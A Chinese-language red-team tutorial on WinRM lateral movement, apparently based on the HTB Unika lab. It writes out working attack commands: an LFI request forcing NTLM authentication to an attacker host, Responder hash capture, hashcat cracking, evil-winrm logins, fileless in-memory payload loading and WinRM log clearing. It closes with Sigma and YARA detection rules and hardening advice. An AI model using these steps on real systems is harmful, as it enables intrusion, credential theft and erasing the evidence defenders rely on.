别再只扫22和3389了!利用5985端口WinRM的隐蔽横向移动手法详解
5985端口WinRM:红队视角下的隐蔽横向移动与防御策略
Windows Remote Management(WinRM)作为微软原生远程管理协议,长期被企业IT管理员视为便捷的运维工具,却鲜少出现在红队成员的攻击清单中。当大多数渗透测试报告还在反复强调22端口SSH和3389端口RDP的风险时,5985端口正悄然成为内网渗透的"暗门"。去年某次红队行动中,我们仅凭一个普通域用户凭证,通过WinRM在30分钟内横向移动至域控服务器,而防守方的SIEM系统全程未触发任何告警。
1. WinRM服务识别与指纹提取
传统内网扫描往往止步于22、3389、445等"明星端口",而忽略5985端口的潜在价值。使用Nmap进行服务识别时,建议采用以下组合参数:
nmap -p 5985 -sV --script=winrm-auth,http-auth-finder -T4 10.129.136.0/24关键参数解析:
-sV精确识别服务版本--script=winrm-auth检测WinRM认证方式-T4平衡扫描速度与隐蔽性
在HTB(Hack The Box)的Unika靶机环境中,我们常遇到这样的扫描结果:
| 端口 | 服务 | 版本信息 | 认证方式 |
|---|---|---|---|
| 5985 | http | Microsoft HTTPAPI httpd 2.0 | NTLM, Kerberos |
实战技巧:
- 当发现5985端口开放时,立即检查
/wsman端点 - 使用cURL测试基础认证可用性:
curl -v http://target:5985/wsman --ntlm -u user:pass - 注意观察HTTP头中的
Server字段,Windows Server 2016+默认启用WinRM
注意:企业内网中WinRM服务可能配置在非标准端口,建议配合全端口扫描结果分析
2. 认证绕过与权限提升组合拳
WinRM最危险的特质在于其与Windows认证体系的深度集成。我们曾遇到一个典型案例:某电商平台运维人员为方便管理,在所有服务器配置了相同的WinRM连接凭证。
2.1 NTLM中继攻击实战
当发现存在LFI漏洞时,可构造特殊请求强制系统进行NTLM认证:
GET /index.php?page=//attacker_ip/share/file HTTP/1.1 Host: unika.htb使用Responder捕获NetNTLMv2哈希:
python3 Responder.py -I eth0 -wrf破解哈希的进阶方法:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule2.2 凭证重用攻击链
获得有效凭证后,evil-winrm是最直接的武器:
evil-winrm -i 10.129.136.91 -u administrator -p 'P@ssw0rd!' -s /scripts/ -e /executables/参数说明:
-s上传脚本的本地目录-e上传可执行文件的本地目录-H使用哈希认证(PtH攻击)
3. 隐蔽持久化与日志清理
WinRM的日志系统常被蓝队忽视,这为红队提供了绝佳的操作空间。
3.1 无文件持久化技术
通过内存加载PowerShell模块实现:
$sess = New-PSSession -ComputerName DC01 Invoke-Command -Session $sess -ScriptBlock { $module = [System.Convert]::FromBase64String("base64_encoded_psm1") [System.Reflection.Assembly]::Load($module) }3.2 日志清理四步法
- 定位事件日志文件:
Get-WinEvent -ListLog Microsoft-Windows-WinRM* - 备份原始日志(避免触发异常告警)
- 使用wevtutil清除特定事件:
wevtutil cl Microsoft-Windows-WinRM/Operational - 注入正常流量混淆视听
4. 蓝队防御体系建设
真正的安全防护需要从攻击者视角构建防御策略。
4.1 检测规则示例
Sigma规则检测WinRM异常认证:
title: Suspicious WinRM Authentication description: Detects multiple failed WinRM login attempts logsource: product: windows service: windows-winrm detection: selection: EventID: 91 ResultCode: '0xC000006A' timeframe: 5m condition: selection | count() > 34.2 加固建议清单
- 启用WinRM HTTPS传输(5986端口)
- 配置客户端证书认证
- 限制可连接WinRM的源IP范围
- 定期审计WinRM用户权限
- 监控
winrm.vbs脚本的异常调用
在一次金融行业攻防演练中,防守方通过部署以下YARA规则,成功捕获了我们基于WinRM的横向移动:
rule winrm_malicious_activity { meta: description = "Detects suspicious WinRM operations" strings: $a = "New-PSSession" nocase $b = "Invoke-Command" nocase $c = "Register-PSSessionConfiguration" nocase condition: any of them and filesize < 100KB }WinRM就像一扇被遗忘的后门,既可能成为攻击者的捷径,也能转化为防守方的陷阱。某次渗透测试结束后,客户的安全主管感叹:"我们花了重金部署的EDR系统,居然对WinRM的异常调用毫无反应。"这提醒我们,真正的安全不在于工具的堆砌,而在于对每个协议特性的深刻理解。
